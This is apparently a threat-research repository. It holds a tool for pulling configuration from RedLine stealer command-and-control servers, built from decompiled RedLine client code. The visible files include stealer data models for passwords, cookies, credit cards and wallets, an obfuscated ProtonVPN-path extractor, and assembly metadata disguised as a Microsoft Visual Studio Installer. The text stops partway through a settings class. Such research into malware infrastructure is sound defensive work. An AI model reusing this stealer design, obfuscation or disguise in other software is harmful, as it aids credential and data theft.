├── Discoed ├── obj │ └── x86 │ │ └── Debug │ │ ├── Discoed.csproj.CopyComplete │ │ ├── redline_config.csproj.CopyComplete │ │ ├── Discoed.csproj.SuggestedBindingRedirects.cache │ │ ├── Discoed.csproj.CoreCompileInputs.cache │ │ ├── Discoed.exe │ │ ├── Discoed.pdb │ │ ├── redline_config.exe │ │ ├── redline_config.pdb │ │ ├── Discoed.csproj.AssemblyReference.cache │ │ ├── Discoed.csprojAssemblyReference.cache │ │ ├── redline_config.csprojAssemblyReference.cache │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── redline_config.csproj.FileListAbsolute.txt │ │ └── Discoed.csproj.FileListAbsolute.txt ├── Discoed.ico ├── bin │ └── Debug │ │ ├── System.Buffers.dll │ │ ├── System.Memory.dll │ │ ├── redline_config.exe │ │ ├── Newtonsoft.Json.dll │ │ ├── System.Text.Json.dll │ │ ├── System.ValueTuple.dll │ │ ├── System.Numerics.Vectors.dll │ │ ├── System.Text.Encodings.Web.dll │ │ ├── Microsoft.Bcl.AsyncInterfaces.dll │ │ ├── System.Threading.Tasks.Extensions.dll │ │ ├── System.Diagnostics.DiagnosticSource.dll │ │ ├── System.Runtime.CompilerServices.Unsafe.dll │ │ ├── System.ValueTuple.xml │ │ ├── redline_config.exe.config │ │ ├── System.Buffers.xml │ │ ├── System.Threading.Tasks.Extensions.xml │ │ ├── System.Memory.xml │ │ ├── Microsoft.Bcl.AsyncInterfaces.xml │ │ └── System.Runtime.CompilerServices.Unsafe.xml ├── Tе.cs ├── Enter.cs ├── RecordHeaderField.cs ├── Entity_HardwareType.cs ├── Arguments.cs ├── SME.cs ├── Entity_AutoFill.cs ├── BCRYPT_KEY_LENGTHS_STRUCT.cs ├── Logger.cs ├── BrowserInfo.cs ├── Entity_LoginData.cs ├── Entity_HardwareInfo.cs ├── SpamInfo.cs ├── LocalState.cs ├── OsCrypt.cs ├── Entity_CryptoWallet.cs ├── Entity_ServerResponse.cs ├── Entity_FileSearchInformation.cs ├── StringExt.cs ├── app.manifest ├── Entity_CreditCard.cs ├── BCRYPT_PSS_PADDING_INFO.cs ├── app.config ├── Entity_UpdateAction.cs ├── BCRYPT_OAEP_PADDING_INFO.cs ├── Extractor.cs ├── MemoryImport.cs ├── Entity_StolenFile.cs ├── Entity_Cookie.cs ├── UserExt.cs ├── Properties │ └── AssemblyInfo.cs ├── РrоtoнVРN.cs ├── Entitiy_Settings.cs ├── Json.cs ├── Entitiy_CollectedResults.cs ├── FileExt.cs ├── StringDecrypt.cs ├── EnvironmentChecker.cs ├── packages.config ├── OpenVPN.cs ├── Entity_Browser.cs ├── Entity_StolenData.cs ├── GdiHelper.cs ├── CryptoHelper.cs ├── SystemInfoHelper.cs ├── GameLauncher.cs ├── BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO.cs ├── Entity.cs ├── AllWallets.cs ├── Program.cs ├── FileCopier.cs ├── RandomCreditCardNumberGenerator.cs ├── BrEx.cs ├── ConnectionProvider.cs ├── IntРtr.cs └── redline_config.csproj ├── README.md └── redline_config.sln /Discoed/obj/x86/Debug/Discoed.csproj.CopyComplete: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Discoed/obj/x86/Debug/redline_config.csproj.CopyComplete: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Discoed/obj/x86/Debug/Discoed.csproj.SuggestedBindingRedirects.cache: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Discoed/Discoed.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/Discoed.ico -------------------------------------------------------------------------------- /Discoed/obj/x86/Debug/Discoed.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 33e1667b8b15e64671afa1fe56c871af842d789f 2 | -------------------------------------------------------------------------------- /Discoed/obj/x86/Debug/Discoed.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/obj/x86/Debug/Discoed.exe -------------------------------------------------------------------------------- /Discoed/obj/x86/Debug/Discoed.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/obj/x86/Debug/Discoed.pdb -------------------------------------------------------------------------------- /Discoed/bin/Debug/System.Buffers.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/bin/Debug/System.Buffers.dll -------------------------------------------------------------------------------- /Discoed/bin/Debug/System.Memory.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/bin/Debug/System.Memory.dll -------------------------------------------------------------------------------- /Discoed/bin/Debug/redline_config.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/bin/Debug/redline_config.exe -------------------------------------------------------------------------------- /Discoed/bin/Debug/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/bin/Debug/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /Discoed/bin/Debug/System.Text.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/bin/Debug/System.Text.Json.dll -------------------------------------------------------------------------------- /Discoed/bin/Debug/System.ValueTuple.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/bin/Debug/System.ValueTuple.dll -------------------------------------------------------------------------------- /Discoed/obj/x86/Debug/redline_config.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/obj/x86/Debug/redline_config.exe -------------------------------------------------------------------------------- /Discoed/obj/x86/Debug/redline_config.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/obj/x86/Debug/redline_config.pdb -------------------------------------------------------------------------------- /Discoed/bin/Debug/System.Numerics.Vectors.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/bin/Debug/System.Numerics.Vectors.dll -------------------------------------------------------------------------------- /Discoed/bin/Debug/System.Text.Encodings.Web.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/bin/Debug/System.Text.Encodings.Web.dll -------------------------------------------------------------------------------- /Discoed/bin/Debug/Microsoft.Bcl.AsyncInterfaces.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/bin/Debug/Microsoft.Bcl.AsyncInterfaces.dll -------------------------------------------------------------------------------- /Discoed/bin/Debug/System.Threading.Tasks.Extensions.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/bin/Debug/System.Threading.Tasks.Extensions.dll -------------------------------------------------------------------------------- /Discoed/Tе.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | // Token: 0x02000040 RID: 64 4 | public struct Tе 5 | { 6 | // Token: 0x04000096 RID: 150 7 | public string[] Content; 8 | } 9 | -------------------------------------------------------------------------------- /Discoed/bin/Debug/System.Diagnostics.DiagnosticSource.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/bin/Debug/System.Diagnostics.DiagnosticSource.dll -------------------------------------------------------------------------------- /Discoed/bin/Debug/System.Runtime.CompilerServices.Unsafe.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/bin/Debug/System.Runtime.CompilerServices.Unsafe.dll -------------------------------------------------------------------------------- /Discoed/obj/x86/Debug/Discoed.csproj.AssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/obj/x86/Debug/Discoed.csproj.AssemblyReference.cache -------------------------------------------------------------------------------- /Discoed/obj/x86/Debug/Discoed.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/obj/x86/Debug/Discoed.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /Discoed/obj/x86/Debug/redline_config.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/obj/x86/Debug/redline_config.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /Discoed/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/redline_config/HEAD/Discoed/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Discoed/bin/Debug/System.ValueTuple.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | System.ValueTuple 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Discoed/Enter.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | // Token: 0x0200000E RID: 14 4 | // (Invoke) Token: 0x0600007D RID: 125 5 | public delegate void Enter(ConnectionProvider connection, Entity_Settings settings, ref Entity_CollectedResults result); 6 | -------------------------------------------------------------------------------- /Discoed/RecordHeaderField.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | // Token: 0x0200003E RID: 62 4 | public struct RecordHeaderField 5 | { 6 | // Token: 0x04000091 RID: 145 7 | public long Size; 8 | 9 | // Token: 0x04000092 RID: 146 10 | public long Type; 11 | } 12 | -------------------------------------------------------------------------------- /Discoed/Entity_HardwareType.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.Serialization; 3 | 4 | 5 | [DataContract(Name = "Entity14", Namespace = "Entity")] 6 | public enum Entity_HardwareType 7 | { 8 | 9 | [EnumMember] 10 | Id1, 11 | 12 | [EnumMember] 13 | Id2 14 | } 15 | -------------------------------------------------------------------------------- /Discoed/Arguments.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Reflection; 3 | 4 | // Token: 0x0200000B RID: 11 5 | [Obfuscation(ApplyToMembers = true, Exclude = true, StripAfterObfuscation = true)] 6 | public static class Arguments 7 | { 8 | 9 | // Token: 0x04000007 RID: 7 10 | public static int Version = 2; 11 | } 12 | -------------------------------------------------------------------------------- /Discoed/SME.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | // Token: 0x0200003F RID: 63 4 | public struct SME 5 | { 6 | // Token: 0x04000093 RID: 147 7 | public string ItemName; 8 | 9 | // Token: 0x04000094 RID: 148 10 | public long RootNum; 11 | 12 | // Token: 0x04000095 RID: 149 13 | public string SqlStatement; 14 | } 15 | -------------------------------------------------------------------------------- /Discoed/Entity_AutoFill.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.Serialization; 3 | 4 | 5 | [DataContract(Name = "Entity8", Namespace = "Entity")] 6 | public class Entity_AutoFill 7 | { 8 | [DataMember(Name = "Id1")] 9 | public string Name { get; set; } 10 | 11 | [DataMember(Name = "Id2")] 12 | public string Value { get; set; } 13 | } 14 | -------------------------------------------------------------------------------- /Discoed/BCRYPT_KEY_LENGTHS_STRUCT.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | // Token: 0x0200002C RID: 44 4 | public struct BCRYPT_KEY_LENGTHS_STRUCT 5 | { 6 | // Token: 0x0400003F RID: 63 7 | public int dwMinLength; 8 | 9 | // Token: 0x04000040 RID: 64 10 | public int dwMaxLength; 11 | 12 | // Token: 0x04000041 RID: 65 13 | public int dwIncrement; 14 | } 15 | -------------------------------------------------------------------------------- /Discoed/Logger.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace Discoed 7 | { 8 | public static class Logger 9 | { 10 | public static void Log(string message) 11 | { 12 | Console.WriteLine("[ " + DateTime.Now.ToString() + " ] " + message); 13 | } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /Discoed/BrowserInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.Serialization; 3 | 4 | [DataContract(Name = "Entity4", Namespace = "Entity")] 5 | public class BrowserInfo 6 | { 7 | [DataMember(Name = "Id1")] 8 | public string Name { get; set; } 9 | 10 | [DataMember(Name = "Id2")] 11 | public string version { get; set; } 12 | 13 | [DataMember(Name = "Id3")] 14 | public string Path { get; set; } 15 | } 16 | -------------------------------------------------------------------------------- /Discoed/Entity_LoginData.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.Serialization; 3 | 4 | 5 | [DataContract(Name = "Entity12", Namespace = "Entity")] 6 | public class Entity_LoginData 7 | { 8 | [DataMember(Name = "Id1")] 9 | public string URL { get; set; } 10 | 11 | [DataMember(Name = "Id2")] 12 | public string Username { get; set; } 13 | 14 | [DataMember(Name = "Id3")] 15 | public string Password { get; set; } 16 | } 17 | -------------------------------------------------------------------------------- /Discoed/Entity_HardwareInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.Serialization; 3 | 4 | 5 | [DataContract(Name = "Entity3", Namespace = "Entity")] 6 | public class Entity_HardwareInfo 7 | { 8 | [DataMember(Name = "Id1")] 9 | public string name { get; set; } 10 | 11 | [DataMember(Name = "Id2")] 12 | public string value { get; set; } 13 | 14 | [DataMember(Name = "Id3")] 15 | public Entity_HardwareType Id3 { get; set; } 16 | } 17 | -------------------------------------------------------------------------------- /Discoed/SpamInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace Discoed 8 | { 9 | public static class SpamInfo 10 | { 11 | public static string C2 = ""; 12 | public static string authkey = ""; 13 | public static string botnet = ""; 14 | public static bool send_biggy = false; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /Discoed/LocalState.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.Serialization; 3 | 4 | // Token: 0x0200003C RID: 60 5 | [DataContract(Name = "LocalState")] 6 | public class LocalState 7 | { 8 | // Token: 0x1700005C RID: 92 9 | // (get) Token: 0x060001AF RID: 431 RVA: 0x0000B560 File Offset: 0x00009960 10 | // (set) Token: 0x060001B0 RID: 432 RVA: 0x0000B568 File Offset: 0x00009968 11 | [DataMember(Name = "os_crypt")] 12 | public OsCrypt os_crypt { get; set; } 13 | } 14 | -------------------------------------------------------------------------------- /Discoed/OsCrypt.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.Serialization; 3 | 4 | // Token: 0x0200003D RID: 61 5 | [DataContract(Name = "OsCrypt")] 6 | public class OsCrypt 7 | { 8 | // Token: 0x1700005D RID: 93 9 | // (get) Token: 0x060001B2 RID: 434 RVA: 0x0000B57A File Offset: 0x0000997A 10 | // (set) Token: 0x060001B3 RID: 435 RVA: 0x0000B582 File Offset: 0x00009982 11 | [DataMember(Name = "encrypted_key")] 12 | public string encrypted_key { get; set; } 13 | } 14 | -------------------------------------------------------------------------------- /Discoed/Entity_CryptoWallet.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Runtime.Serialization; 4 | 5 | 6 | [DataContract(Name = "Entity17", Namespace = "Entity")] 7 | public class Entity_CryptoWallet 8 | { 9 | [DataMember(Name = "Id1")] 10 | public string Id1 { get; set; } 11 | 12 | [DataMember(Name = "Id2")] 13 | public string Id2 { get; set; } 14 | 15 | [DataMember(Name = "Id3")] 16 | public IEnumerable Id3 { get; set; } 17 | } 18 | -------------------------------------------------------------------------------- /Discoed/Entity_ServerResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.Serialization; 3 | 4 | // Token: 0x0200002A RID: 42 5 | [DataContract(Name = "Entity13", Namespace = "Entity")] 6 | public enum Entity_ServerResponse : byte 7 | { 8 | // Token: 0x0400002D RID: 45 9 | [EnumMember] 10 | Id1, 11 | // Token: 0x0400002E RID: 46 12 | [EnumMember] 13 | Id2, 14 | // Token: 0x0400002F RID: 47 15 | [EnumMember] 16 | Id3, 17 | // Token: 0x04000030 RID: 48 18 | [EnumMember] 19 | Id4 20 | } 21 | -------------------------------------------------------------------------------- /Discoed/Entity_FileSearchInformation.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.Serialization; 3 | 4 | 5 | [DataContract(Name = "Entity16", Namespace = "Entity")] 6 | public class Entity_FileSearchInformation 7 | { 8 | 9 | [DataMember(Name = "Id5")] 10 | public string Id5 { get; set; } 11 | 12 | [DataMember(Name = "Id1")] 13 | public string Id1 { get; set; } 14 | 15 | [DataMember(Name = "Id2")] 16 | public string Id2 { get; set; } 17 | 18 | [DataMember(Name = "Id3")] 19 | public bool Id3 { get; set; } 20 | } 21 | -------------------------------------------------------------------------------- /Discoed/StringExt.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | // Token: 0x0200001E RID: 30 4 | public static class StringExt 5 | { 6 | // Token: 0x060000B7 RID: 183 RVA: 0x00008F18 File Offset: 0x00007318 7 | public static T ChangeType(this object @this) 8 | { 9 | return (T)((object)Convert.ChangeType(@this, typeof(T))); 10 | } 11 | 12 | // Token: 0x060000B8 RID: 184 RVA: 0x00008F40 File Offset: 0x00007340 13 | public static string StripQuotes(this string value) 14 | { 15 | return value.Replace("\"", string.Empty); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /Discoed/app.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /Discoed/Entity_CreditCard.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.Serialization; 3 | 4 | 5 | [DataContract(Name = "Entity11", Namespace = "Entity")] 6 | public class Entity_CreditCard 7 | { 8 | [DataMember(Name = "Id1")] 9 | public string NameOnCard { get; set; } 10 | 11 | [DataMember(Name = "Id2")] 12 | public int Expiration_Month { get; set; } 13 | 14 | [DataMember(Name = "Id3")] 15 | public int Expiration_Year { get; set; } 16 | 17 | [DataMember(Name = "Id4")] 18 | public string CardNumber { get; set; } 19 | } 20 | -------------------------------------------------------------------------------- /Discoed/BCRYPT_PSS_PADDING_INFO.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | // Token: 0x0200002E RID: 46 5 | public struct BCRYPT_PSS_PADDING_INFO 6 | { 7 | // Token: 0x0600010A RID: 266 RVA: 0x0000AC22 File Offset: 0x00009022 8 | public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt) 9 | { 10 | this.pszAlgId = pszAlgId; 11 | this.cbSalt = cbSalt; 12 | } 13 | 14 | // Token: 0x04000045 RID: 69 15 | [MarshalAs(UnmanagedType.LPWStr)] 16 | public string pszAlgId; 17 | 18 | // Token: 0x04000046 RID: 70 19 | public int cbSalt; 20 | } 21 | -------------------------------------------------------------------------------- /Discoed/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Discoed/bin/Debug/redline_config.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Discoed/Entity_UpdateAction.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.Serialization; 3 | 4 | // Token: 0x02000030 RID: 48 5 | [DataContract(Name = "Entity15", Namespace = "Entity")] 6 | public enum Entity_UpdateAction 7 | { 8 | // Token: 0x0400004B RID: 75 9 | [EnumMember(Value = "0")] 10 | Id1, 11 | // Token: 0x0400004C RID: 76 12 | [EnumMember(Value = "1")] 13 | Id2, 14 | // Token: 0x0400004D RID: 77 15 | [EnumMember(Value = "2")] 16 | Id3, 17 | // Token: 0x0400004E RID: 78 18 | [EnumMember(Value = "3")] 19 | Id4, 20 | // Token: 0x0400004F RID: 79 21 | [EnumMember(Value = "4")] 22 | Id5 23 | } 24 | -------------------------------------------------------------------------------- /Discoed/BCRYPT_OAEP_PADDING_INFO.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | // Token: 0x0200002D RID: 45 5 | public struct BCRYPT_OAEP_PADDING_INFO 6 | { 7 | // Token: 0x06000109 RID: 265 RVA: 0x0000AC06 File Offset: 0x00009006 8 | public BCRYPT_OAEP_PADDING_INFO(string alg) 9 | { 10 | this.pszAlgId = alg; 11 | this.pbLabel = IntPtr.Zero; 12 | this.cbLabel = 0; 13 | } 14 | 15 | // Token: 0x04000042 RID: 66 16 | [MarshalAs(UnmanagedType.LPWStr)] 17 | public string pszAlgId; 18 | 19 | // Token: 0x04000043 RID: 67 20 | public IntPtr pbLabel; 21 | 22 | // Token: 0x04000044 RID: 68 23 | public int cbLabel; 24 | } 25 | -------------------------------------------------------------------------------- /Discoed/Extractor.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | 5 | // Token: 0x02000033 RID: 51 6 | public abstract class Extractor 7 | { 8 | // Token: 0x17000021 RID: 33 9 | // (get) Token: 0x06000119 RID: 281 RVA: 0x0000B086 File Offset: 0x00009486 10 | // (set) Token: 0x0600011A RID: 282 RVA: 0x0000B08E File Offset: 0x0000948E 11 | public string Id1 { get; set; } 12 | 13 | // Token: 0x0600011B RID: 283 14 | public abstract string Id2(Entity_FileSearchInformation scannerArg, FileInfo filePath); 15 | 16 | // Token: 0x0600011C RID: 284 17 | public abstract IEnumerable Id3(); 18 | } 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # redline_config 2 | Tool to retrieve Config from Redline C2 servers 3 | 4 | Head over to our friends from RecordedFuture Tria.ge and search for Redline Samples: https://tria.ge/s?q=family%3aredline 5 | 6 | Once you have a sample, take note of the Botnet (Not used internally for now), C2 and Attributes 7 | 8 | ![image](https://user-images.githubusercontent.com/9799160/225025795-86b092f8-7924-4ef5-ba37-ea46ac0a43c6.png) 9 | 10 | Run the tool with your values and retrieve the config: 11 | 12 | ![image](https://user-images.githubusercontent.com/9799160/225025393-17dbb1a5-dd82-40a3-8f84-434ef08b6903.png) 13 | 14 | If you do not want to compile it yourself, download the repo, head over to Discoed > bin > Debug and run redline_config.exe 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /Discoed/MemoryImport.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | // Token: 0x02000023 RID: 35 5 | public static class MemoryImport 6 | { 7 | // Token: 0x060000C3 RID: 195 8 | [DllImport("kernel32.dll", EntryPoint = "LoadLibraryA", SetLastError = true)] 9 | public static extern IntPtr LoadLibrary(string fileName); 10 | 11 | // Token: 0x060000C4 RID: 196 12 | [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 13 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 14 | 15 | // Token: 0x060000C5 RID: 197 RVA: 0x00009650 File Offset: 0x00007A50 16 | public static T Func(IntPtr arg1) where T : class 17 | { 18 | return Marshal.GetDelegateForFunctionPointer(arg1, typeof(T)) as T; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /Discoed/Entity_StolenFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Runtime.Serialization; 4 | 5 | [DataContract(Name = "Entity5", Namespace = "Entity")] 6 | public class Entity_StolenFile 7 | { 8 | public Entity_StolenFile() 9 | { 10 | } 11 | 12 | public Entity_StolenFile(string filename) 13 | { 14 | this.FileName = new FileInfo(filename).Name; 15 | this.Content = filename.ReadFile(); 16 | } 17 | 18 | [DataMember(Name = "Id1")] 19 | public string FileName { get; set; } 20 | 21 | [DataMember(Name = "Id2")] 22 | public string CompletePath { get; set; } 23 | 24 | [DataMember(Name = "Id3")] 25 | public byte[] Content { get; set; } 26 | 27 | [DataMember(Name = "Id4")] 28 | public string Path { get; set; } 29 | 30 | [DataMember(Name = "Id5")] 31 | public string Id5 { get; set; } 32 | } 33 | -------------------------------------------------------------------------------- /Discoed/Entity_Cookie.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.Serialization; 3 | 4 | 5 | [DataContract(Name = "Entity10", Namespace = "Entity")] 6 | public class Entity_Cookie 7 | { 8 | public Entity_Cookie() 9 | { 10 | } 11 | 12 | public Entity_Cookie(string expires) 13 | { 14 | this.expires_utc = long.Parse(expires); 15 | } 16 | 17 | [DataMember(Name = "Id1")] 18 | public string host_key { get; set; } 19 | 20 | [DataMember(Name = "Id2")] 21 | public bool also_host_key { get; set; } 22 | 23 | [DataMember(Name = "Id3")] 24 | public string path { get; set; } 25 | 26 | [DataMember(Name = "Id4")] 27 | public bool is_secure { get; set; } 28 | 29 | [DataMember(Name = "Id5")] 30 | public long expires_utc { get; set; } 31 | 32 | [DataMember(Name = "Id6")] 33 | public string name { get; set; } 34 | 35 | [DataMember(Name = "Id7")] 36 | public string encrypted_value { get; set; } 37 | } 38 | -------------------------------------------------------------------------------- /Discoed/UserExt.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Reflection; 5 | using System.Text; 6 | 7 | namespace Discoed 8 | { 9 | public static class UserExt 10 | { 11 | 12 | // Token: 0x06000114 RID: 276 RVA: 0x00009AB4 File Offset: 0x00007CB4 13 | public static void PreCheck(this Entity_CollectedResults log) 14 | { 15 | try 16 | { 17 | foreach (PropertyInfo propertyInfo in log.GetType().GetProperties()) 18 | { 19 | if (propertyInfo.PropertyType == typeof(string) && string.IsNullOrWhiteSpace(propertyInfo.GetValue(log, null) as string)) 20 | { 21 | propertyInfo.SetValue(log, new string(new char[] 22 | { 23 | 'U', 24 | 'N', 25 | 'K', 26 | 'N', 27 | 'O', 28 | 'W', 29 | 'N' 30 | }), null); 31 | } 32 | } 33 | } 34 | catch 35 | { 36 | } 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /Discoed/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Reflection; 4 | using System.Runtime.CompilerServices; 5 | using System.Runtime.InteropServices; 6 | using System.Runtime.Versioning; 7 | using System.Security; 8 | using System.Security.Permissions; 9 | 10 | [assembly: AssemblyVersion("15.9.28307.1440")] 11 | [assembly: Obfuscation(Exclude = false, Feature = "preset(normal);-rename", StripAfterObfuscation = true)] 12 | [assembly: AssemblyTitle("Microsoft Visual Studio")] 13 | [assembly: AssemblyDescription("Visual Studio Installer")] 14 | [assembly: AssemblyConfiguration("")] 15 | [assembly: AssemblyCompany("")] 16 | [assembly: AssemblyProduct("Visual Studio")] 17 | [assembly: AssemblyCopyright("Microsoft Corporation Copyright © 2021")] 18 | [assembly: AssemblyTrademark("")] 19 | [assembly: ComVisible(false)] 20 | [assembly: AssemblyFileVersion("15.9.28307.1440")] 21 | [assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] 22 | -------------------------------------------------------------------------------- /Discoed/РrоtoнVРN.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | 6 | // Token: 0x0200001A RID: 26 7 | public class РrоtoнVРN : Extractor 8 | { 9 | // Token: 0x060000A2 RID: 162 RVA: 0x00007C6C File Offset: 0x0000606C 10 | public override string Id2(Entity_FileSearchInformation scannerArg, FileInfo fileInfo) 11 | { 12 | return string.Empty; 13 | } 14 | 15 | // Token: 0x060000A3 RID: 163 RVA: 0x00007C84 File Offset: 0x00006084 16 | public override IEnumerable Id3() 17 | { 18 | List list = new List(); 19 | try 20 | { 21 | list.Add(new Entity_FileSearchInformation 22 | { 23 | Id1 = Path.Combine(Environment.ExpandEnvironmentVariables("%USERPserviceInterface.ExtensionROFILE%\\ApserviceInterface.ExtensionpData\\LocaserviceInterface.Extensionl").Replace("serviceInterface.Extension", string.Empty), "ProldCharotonVoldCharPN".Replace("oldChar", string.Empty)), 24 | Id2 = new string("nSystem.CollectionspvoSystem.Collections*".Replace("System.Collections", string.Empty).Reverse().ToArray()), 25 | Id3 = false 26 | }); 27 | } 28 | catch 29 | { 30 | } 31 | return list; 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /Discoed/Entitiy_Settings.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Runtime.Serialization; 4 | 5 | 6 | [DataContract(Name = "Entity2", Namespace = "Entity")] 7 | public class Entity_Settings 8 | { 9 | [DataMember(Name = "Id1")] 10 | public bool CollectBrowsers { get; set; } 11 | 12 | [DataMember(Name = "Id2")] 13 | public bool GrabFiles { get; set; } 14 | 15 | [DataMember(Name = "Id3")] 16 | public bool CollectFTP { get; set; } 17 | 18 | [DataMember(Name = "Id4")] 19 | public bool CollectWallets { get; set; } 20 | 21 | [DataMember(Name = "Id5")] 22 | public bool CollectScreenshot { get; set; } 23 | 24 | [DataMember(Name = "Id6")] 25 | public bool CollectTelegram { get; set; } 26 | 27 | [DataMember(Name = "Id7")] 28 | public bool CollectVPN { get; set; } 29 | 30 | [DataMember(Name = "Id8")] 31 | public bool CollectGameLaunchers { get; set; } 32 | 33 | [DataMember(Name = "Id9")] 34 | public bool CollectDiscord { get; set; } 35 | 36 | [DataMember(Name = "Id10")] 37 | public List AllowedFiles { get; set; } 38 | 39 | [DataMember(Name = "Id11")] 40 | public List Id11 { 